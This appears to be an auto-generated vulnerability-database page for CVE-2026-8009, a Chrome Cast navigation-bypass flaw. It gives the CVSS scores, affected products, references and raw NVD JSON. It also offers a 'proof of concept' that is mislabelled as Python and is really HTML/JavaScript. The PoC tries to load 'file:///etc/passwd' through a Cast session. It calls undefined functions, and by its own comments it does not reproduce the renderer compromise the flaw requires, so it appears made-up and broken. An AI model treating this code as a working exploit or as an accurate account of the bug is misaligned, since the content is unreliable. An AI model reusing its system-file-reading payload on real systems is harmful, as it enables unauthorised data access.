CVE-2026-8009

Description

Inappropriate implementation in Cast in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

5.0

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Conceptual Proof of Concept (PoC) for CVE-2026-8009
  This demonstration attempts to trigger the Cast navigation bypass.
  Note: Actual exploitation requires a compromised renderer process.
-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-8009 PoC</title>
</head>
<body>
    <h1>Cast Navigation Bypass Test</h1>
    <script>
        // Attempt to initialize a Cast session that targets a restricted URL
        function triggerBypass() {
            const sessionRequest = new chrome.cast.SessionRequest(chrome.cast.media.DEFAULT_MEDIA_RECEIVER_APP_ID);
            const apiConfig = new chrome.cast.ApiConfig(sessionRequest, sessionListener, receiverListener);
            
            chrome.cast.initialize(apiConfig, onInitSuccess, onError);
        }

        function onInitSuccess() {
            console.log('Cast API Initialized');
            // Logic to craft a malicious navigation payload
            // In a real scenario, this would bypass navigation restrictions
            chrome.cast.requestSession(onRequestSessionSuccess, onError);
        }

        function onRequestSessionSuccess(session) {
            console.log('Session started, attempting navigation bypass...');
            // Malicious payload targeting restricted resources
            const mediaInfo = new chrome.cast.media.MediaInfo('file:///etc/passwd', 'text/plain');
            const request = new chrome.cast.media.LoadRequest(mediaInfo);
            session.loadMedia(request);
        }

        function onError(error) {
            console.error('Error:', error.code, error.description);
        }

        // Trigger the mechanism
        window.onload = triggerBypass;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8009
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8009
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8009/
[4] VulDB https://vuldb.com/cve/CVE-2026-8009
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/496555077

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8009", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:51.863", "lastModified": "2026-05-07T15:20:00.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Cast in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/496555077", "source": "[email protected]", "tags": ["Permissions Required"]}]}}